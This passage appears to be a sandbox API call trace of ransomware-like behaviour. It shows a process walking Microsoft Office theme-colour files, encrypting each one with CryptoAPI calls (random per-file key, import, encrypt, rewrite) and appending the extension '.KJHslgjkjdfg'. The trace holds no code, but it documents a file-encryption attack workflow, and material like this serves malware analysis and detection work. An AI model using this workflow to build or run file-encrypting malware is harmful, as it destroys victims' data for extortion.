lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.757] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.757] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.757] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.757] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.757] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.757] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3a0, lpOverlapped=0x0) returned 1 [0198.758] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0, dwBufLen=0x3a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3a0) returned 1 [0198.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.758] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3a0, lpOverlapped=0x0) returned 1 [0198.758] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.758] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.758] SetEndOfFile (hFile=0xf0) returned 1 [0198.760] GetProcessHeap () returned 0x2a0000 [0198.760] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0198.760] GetProcessHeap () returned 0x2a0000 [0198.760] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.761] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Essential.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\essential.xml.kjhslgjkjdfg")) returned 1 [0198.768] CloseHandle (hObject=0xf0) returned 1 [0198.768] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1 [0198.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.770] GetProcessHeap () returned 0x2a0000 [0198.770] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.770] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.770] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.770] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0198.774] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.774] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.774] GetProcessHeap () returned 0x2a0000 [0198.774] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0198.774] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0198.775] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.775] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0198.775] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.775] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.775] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.775] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.775] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.775] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.775] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c4, lpOverlapped=0x0) returned 1 [0198.775] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0198.775] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.775] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0198.776] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.776] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.776] SetEndOfFile (hFile=0xf0) returned 1 [0198.778] GetProcessHeap () returned 0x2a0000 [0198.778] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0198.778] GetProcessHeap () returned 0x2a0000 [0198.778] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.778] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Executive.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\executive.xml.kjhslgjkjdfg")) returned 1 [0198.780] CloseHandle (hObject=0xf0) returned 1 [0198.780] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0198.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.781] GetProcessHeap () returned 0x2a0000 [0198.782] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.782] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.782] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.782] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0198.784] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.784] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.784] GetProcessHeap () returned 0x2a0000 [0198.784] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0198.784] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0198.784] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.784] WriteFile (in: hFile=0xf0, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0198.784] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.784] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.784] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.784] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.785] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.785] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.785] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.785] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.785] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3bf, lpOverlapped=0x0) returned 1 [0198.785] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0, dwBufLen=0x3c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c0) returned 1 [0198.785] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.785] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3c0, lpOverlapped=0x0) returned 1 [0198.785] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.785] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.785] SetEndOfFile (hFile=0xf0) returned 1 [0198.788] GetProcessHeap () returned 0x2a0000 [0198.788] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0198.788] GetProcessHeap () returned 0x2a0000 [0198.788] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.788] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Flow.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\flow.xml.kjhslgjkjdfg")) returned 1 [0198.790] CloseHandle (hObject=0xf0) returned 1 [0198.790] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0198.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.791] GetProcessHeap () returned 0x2a0000 [0198.791] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.791] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.791] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.791] WriteFile (in: hFile=0xf0, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0198.793] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.793] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.793] GetProcessHeap () returned 0x2a0000 [0198.793] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0198.793] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0198.793] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.794] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0198.794] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.794] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.794] WriteFile (in: hFile=0xf0, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.794] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.794] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.794] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.794] ReadFile (in: hFile=0xf0, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c2, lpOverlapped=0x0) returned 1 [0198.794] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0, dwBufLen=0x3d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d0) returned 1 [0198.794] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.794] WriteFile (in: hFile=0xf0, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d0, lpOverlapped=0x0) returned 1 [0198.795] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.795] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.795] SetEndOfFile (hFile=0xf0) returned 1 [0198.797] GetProcessHeap () returned 0x2a0000 [0198.797] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0198.797] GetProcessHeap () returned 0x2a0000 [0198.797] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0198.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml.kjhslgjkjdfg")) returned 1 [0198.799] CloseHandle (hObject=0xf0) returned 1 [0198.799] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="GRAYSC~1.XML")) returned 1 [0198.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0198.801] GetProcessHeap () returned 0x2a0000 [0198.801] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0198.801] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0198.802] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0198.802] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.802] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.802] GetProcessHeap () returned 0x2a0000 [0198.802] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0198.802] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0198.802] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0198.802] WriteFile (in: hFile=0xf0, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0198.806] WriteFile (in: hFile=0xf0, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0198.806] WriteFile (in: hFile=0xf0, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0198.806] WriteFile (in: hFile=0xf0, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0198.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0198.806] WriteFile (in: hFile=0xf0, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0198.806] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0198.806] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0198.806] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.806] ReadFile (in: 